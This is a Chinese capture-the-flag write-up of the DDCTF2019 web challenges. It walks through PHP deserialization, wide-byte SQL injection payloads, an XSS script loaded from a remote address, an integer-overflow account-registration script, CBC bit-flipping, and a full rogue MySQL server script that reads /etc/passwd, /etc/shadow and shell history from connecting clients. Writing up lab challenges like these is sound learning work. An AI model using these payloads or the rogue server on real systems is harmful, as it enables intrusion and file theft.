DDCTF2019 web 复现

之前又是打比赛又是五月病,于是好久没更,该高产似那啥一波了x

滴~

这题真的是佛啦,一开始还以为是一道很简单的web签到题,看到title一串乱字符串就加个DDCTF然而并不是flag
F12可以看到一个看到一个用base64编码来解析为图片的代码段,然后url上有jpg应该是文件读取。然后尝试两次base64+一次base16成功解出是flag.jpg,于是用这个加密index.php获取源码。
解出来可以看到有两层过滤,一开始以为flag在config.php里然而绕不过去。于是去访问一下提示的博客,全篇在讲echo命令,感觉没什么关系。翻翻博主其他的博客,有篇关于swp文件的文章。看了一下然后尝试用python把.config.php.sw[p-a]都跑了一遍都没什么,然后看了看了评论区有人说.practice.txt.swp这个文件,于是和config.php同个操作依旧什么都没有。一脸懵逼之时想到之前拿swp文件时下载下来的都不带点,于是尝试一下practice.txt.swp就tm的拿到了flag文件【黑人问号.jpg

于是获取一下源码【!可以通过config替换绕过】
读一下一个变量覆盖,一个读文件内容与变量相同,那就用php://input
payload:

1
2
get ?k=php://input&uid=1
post 1

WEB 签到题

进去后F12 一下发现index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}

读一下可以知道需要在头部中传一个didictf_name的值过去
尝试几次后发现是admin

响应提示/app/fL2XID2i0Cdh.php
于是打开得到/app/Application.php和/app/Session.php的源码
先读一下/app/Application.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
// url:app/Application.php
Class Application {
var $path = '';


public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}

可以看到Application类的析构函数进行了文件读取,还对路径进行了过滤,不过我们可以双写绕过,而且处理后的文件路径长正好是18于是不用理那个长度判断
到这里可以猜测是要我们反序列化这个类去读取某个文件
然后再读/app/Session.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
// url:app/Session.php
include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";


public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);


if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);

}
}


$ddctf = new Session();
$ddctf->index();

在session_read()中发现了反序列化,但这个反序列化不是随便都行的,要通过一个hash的验证才行。而hash是通过一串在../config/key.txt中的密钥连接cookie然后进行md5后生成的(这里其实可以用哈希长度扩列攻击吧?)

然后在同个方法中又看到了这段

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

那我们可以通过将nickname=%s获得密钥
这下思路就很清晰了,于是开始操作
先访问一下Session.php获取初始的cookie,然后将cookie放在头部然后post nickname=%s 获得密钥EzblrbNS
然后构建反序列化字符串,

1
2
3
4
5
6
7
<?php
Class Application {
var $path = '....//config/flag.txt';
}
$o=new Application();
$session=serialize($o);
echo urlencode($session.md5("EzblrbNS".$session));

最后用burpsuit发送获得flag

Upload-IMG

图片上传的题,要求文件中带有phpinfo()。尝试修改了MIME绕过不了,把phpinfo()写在图片中也不行,于是将上传前的图片和上传后的图片对比一下看看过滤了什么

发现上传前后的图片头部有些许的修改,增加了一段数据,查了一下才知道是gb库的图片二次渲染,会把图片中的代码也给转化成jpg图片的部分
绕过的方法查gb库的时候顺便就找到了
绕过GD库渲染的Webshell生成器
用这里大佬写好的脚本,把里面payload修改一下然后进行运行处理一下图片就可以了。可能一次成功不了多试几张图就好

homebrew event loop

一道python的审计题,刚触碰python web所以就详细的分析一下源码
首先是开头的部分,是用flask框架搭建的web服务

1
2
3
4
5
6
from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66747e857'

然后看到app.route()这里,传入该方法的参数都是对应页面的url,然后接着下面的方法是处理该页面的代码,于是读一下entry_point()

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

urllib.unquote(request.query_string)是获得跟着url后的参数,就是?后面的部分,然后再用url解码。然后当传入为空或者不以action或者长度大于100时,跳回主界面。接下面的部分是设置session,然后request.prev_session没查到是用来做什么的,但抓包会发现cookie中有个session的参数
Flask-Unsign处理一下

会发现和设置的session值一样,看整个代码也没发现有其他地方进行了cookie的处理,于是猜测request.prev_session是用来将需要的回传的参数进行加密后置入cookie中。
继续往下读看到trigger_event()

1
2
3
4
5
6
7
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

这个方法是用来将要调用的事件放入队列中,当事件数量大于5时取后5个,然后能处理列表与字符串
最后调用execute_event_loop()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

这个方法会将trigger_event()设置好的队列中所有的事件都遍历一遍,然后当事件非func和action开头时会直接结束。

1
2
3
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
1
2
3
4
5
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

这里是event以a开头时is_action为真,反之。然后获得:和;之间的字符串作为方法名,然后;之后通过#分割的为传入的参数
再往下就是当is_action为真时连接_handle,否则连接_function。然后调用方法并传参,再接下去就是一堆异常处理
然后读一下比较重要的函数,比如这两个带flag的函数

1
2
3
4
5
6
7
8
9
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'

def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')

可以看到show_flag_function直接访问也没有flag,get_flag_handler则需要我们购买的diamonds数大于等于5时才能获得flag
那就读一下buy_handler()

1
2
3
4
5
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

可以看到buy_handler函数之是进行了diamonds数的加操作,然后将consume_point()放入了队列中,于是再读一下consume_point()

1
2
3
4
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

consume_point()则是对points进行减,当要减的值小于diamonds时就会进行回滚,让diamonds还原
分析完源码,很奇怪buy_handler和consume_point为什么要分开写,或者先判断是否points足够不是更好吗,于是就想这之间会不会有什么逻辑漏洞存在。
如果说我们能在获得第5个diamonds时,在触发consume_point之前就先触发get_flag_handler,那我们不就能获得flag了。顺着这个想法,我们可以看到trigger_event()是可以将多个事件放入队列中的,而buy_handler是将consume_point放到队尾,那我们只要能往trigger_event()用列表传多个数据过去那不就可以了。而能用来传队列值的地方只有这里

1
2
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)

这里我们可以用#来绕过,让后面接上的值无效。然后再传我们要执行的方法作为参数就ok
于是payload就是:

1
?action:trigger_event%23;action:buy;1%23action:buy;1%23action:get_flag;1

这里不用%23会出错,然后get_flag_handle也是需要传值的,不然也是不行【这里是现在浏览器端进行了三次购买操作后的payload
最后再去cookie中拿出session解码获得flag

不过这题我还有其他的想法,比如用trigger_event()给consume_point_function传入一个负数值也许可以让points变大?或者故意触发points不足,然后在回滚时是会去读取用户cookie里session中的值的,我们只要修改并加密,再将cookie回传不就可以获得将points设为任意我们想要的了?

欢迎报名DDCTF

一道xss+sql注入的题
拿题先扫一下,发现了几个页面

login怎么搞没什么效果,admin不允许访问,但题目提示了xss不是用来拿cookie,那应该是用来拿admin页面的源码,于是找xss注入点
在第三个输入框处有xss注入点,于是上<script src="//address">获得源码,不过复现时一直不行,可能是机器人关了?拿其他大佬搞到的代码时ok的来着
然后看拿到的admin源码,发现一个query_aIeMu0FUoVrW0NWPHbN6z4xh.php接口,于是访问一下提示传id,于是抓包发现编码时gbk

于是猜测可能是宽字节注入
然后尝试到5个参数时有回显,于是直接一个个读
Payload:

1
2
3
4
5
3%df%27%20union%20select%201,2,3,4,5%23
3%df%27%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata%23
3%df%27%20union%20select%201,2,3,4,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x6374666462%23
3%df%27%20union%20select%201,2,3,4,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x6374665f66686d4852504c35%23
3%df%27%20union%20select%201,2,3,4,group_concat(ctf_value)%20from%20ctfdb.ctf_fhmHRPL5%23

最后这里没反应到不是同一个数据库卡了好久orz

大吉大利,今晚吃鸡~

这题注册登录进去后,点击立即购买就会生成一个2000元的支付订单,然而并没有这么多钱,于是找绕过点。再次点击然后看看发送了什么请求

发现了一个get传ticket_price的请求
抓包修改一下值提示不得小于2000元,用非数字直接出错
这里学到一个新姿势——整数溢出,当大于2^32时,最高位的1会溢出舍去,只剩后32位。于是这里我们传4294967297(2^32+1),然后再支付,这样我们实际上就只支付了1元
然后进到吃鸡界面发现要输入id和ticket淘汰对手,于是上脚本注册一堆小号一个个淘汰,最终得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*- 
import base64
import requests
import re

user_cookie = {'user_name':'shifenghhh','REVEL_SESSION':'0bf7b810d7a83663760923a04529c56c'}

for i in range(1000):
user = 'shifenglooll'+str(i)
url1 = "http://117.51.147.155:5050/ctf/api/register?name="+user+"&password=123456789"
http1 = requests.get(url1)
REVEL_SESSION = re.findall(r"REVEL_SESSION=(.*?);",http1.headers['Set-Cookie'])[0]
url2 = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967299"
cookie = {'user_name':user,'REVEL_SESSION':REVEL_SESSION}
http2 = requests.get(url2,cookies=cookie)
bill_id = re.findall(r"\"bill_id\":\"(.*?)\",",http2.content)[0]
url3 = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id="+bill_id
http3 = requests.get(url3,cookies=cookie)
your_id = re.findall(r"\"your_id\":(.*?),",http3.content)[0]
your_ticket = re.findall(r"\"your_ticket\":\"(.*?)\"",http3.content)[0]
url4 = "http://117.51.147.155:5050/ctf/api/remove_robot?id="+your_id+"&ticket="+your_ticket
http4 = requests.get(url4,cookies=user_cookie)
print http4.content

【不会多线程呀(跪

mysql弱口令

一道关于反mysql扫描器的题,进去提示将agent.py部署在公网服务器上,然后对mysql开启的端口进行弱密码扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

def do_GET(self):
request_path = self.path

print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("self.headers :", self.headers)
print("<----- Request End -----\n")

self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()

result = self._func()
self.wfile.write(json.dumps(result))


def do_POST(self):
request_path = self.path

# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)

request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0

# print("length :", length)

print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("<----- Request End -----\n")

self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))

def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()

ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result

do_PUT = do_POST
do_DELETE = do_GET


def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()


if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()

main()

这个agent.py应该是用来作为8123端口上的一个服务器,然后扫描器会从该端口进入访问我们准备好的端口
这题利用的是mysql中LOAD DATA INFILE这个语法,它在客户端具有CLIENT_LOCAL_FILES属性时,能够读取客户端的任意文件
具体看这
Read MySQL Client’s File
于是我们可以伪造一个mysql服务端,修改连接请求,就能获得攻击方的文件
这里找了个github上写好的脚本,修改一下然后在服务器上运行,然后让扫描器扫描就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3307

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
# tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format = logging.StreamHandler()
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
# r'c:\boot.ini',
# r'c:\windows\win.ini',
# r'c:\windows\system32\drivers\etc\hosts',
'/etc/passwd',
# '/root/.bash_history',
# '/home/dc2-user/ctf_web_2/app/main/views.py',
# '/var/lib/mysql/security/flag.idb',
# '/root/.mysql_history',
# '/etc/shadow',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)


class LastPacket(Exception):
pass


class OutOfOrder(Exception):
pass


class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]

return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()


class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):
pair = self.accept()

if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)

z = mysql_listener()
# daemonize()
asyncore.loop()

不过有点奇怪的是如果我停止3306端口上运行的
mysql,运行这个脚本,就会提示mysql未开启,需要修改一下agent.py才行。而换一个端口去运行就没这个问题【之后再研究看看
先获取/etc/passwd,读INFO:Result那个部分就好

然而没什么有用的,于是读/root/.bash_history

用脚本处理一下换行,会找到这样一段命令记录

1
2
3
4
5
6
7
cd /home/dc2-user/ctf_web_2/
ls
cd app/
ls
cd main/
ls
vim views.py

那就读一下/home/dc2-user/ctf_web_2/app/views.py

同样也是处理一下,然后可以看到有一段注释
# flag in mysql curl@localhost database:security table:flag\r
那就去读一下flag表 /var/lib/mysql/security/flag.idb
但不知道为什么(可能是被删掉了),一直错误。于是尝试去读MySQL的操作记录,/root/.mysql_history

得到flag

再来1杯Java

看名字就知道是JAVA web的题
先根据提示修改一下host进入网站,提示要成为admin用户。看页面没到找什么能搞的地方,于是bp抓个包

看history可以看到,有两个接口,于是访问一下看看
发现account_info是获得用户身份,gen_token则是获得token。然后看token感觉像base64加密后的值,于是尝试解码一下

可以看到,这里提示了CBC加密,然后看返回的token长为48位,而account_info返回的json字符串长在32位以内,于是猜测前面位iv后面位密文

那接下来的目标就是要把roleAdmin的值改为1(不太清楚为什么可以,明明java是强类型)。既然是CBC加密,那就上CBC翻转。
由于我们获得不到修改过一次后的iv值,于是不能直接把false改成true。这里我们要通过修改iv去控制第一段,同时将第二段置为脏字符,然后再修改第二段控制第三段
{"roleAdmin":1,"xxxxxxxxxxxxxxxx":"1","id":001}
大概就是要弄成这样
这里控制iv改第一段很简单,iv^明文^目标就ok。但第三段不好控制,因为第三段不存在,我们要拿前两段其中一段作为第三段,然后再对第二段进行一下处理
我们知道CBC加密解密时是在key解密后和加密段异或,那么如果要更改加密段,就要先明文^加密段获得key解密后的密文,再key解密后的密文^新加密段获得新明文。然后就是正常程序,用新明文^新加密段^目标就能控制添加的段
于是用第一段明文^iv^第二段^第二段^目标得到第二段,然后把第一段接上即可。于是上脚本解决
搞定后提交访问,会多出一个下载的按钮

下载可以获得hint。
提示了

1
2
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~ 
2. You can not exec commands~

用了spring框架同时不能执行命令
这里当然也抓包试一下,发现了一个可能是任意读取文件的接口

然后一波操作下去发现只能得到/etc/passwd,而且也没什么用,于是试着跑一下进程目录/proc/self/fd/

【少用intruder于是记录一下省得又忘了

可以明显看到15是有什么东西,读一下发现开头是pk

于是用python访问读取并二进制保存为zip,解压出来为一份源码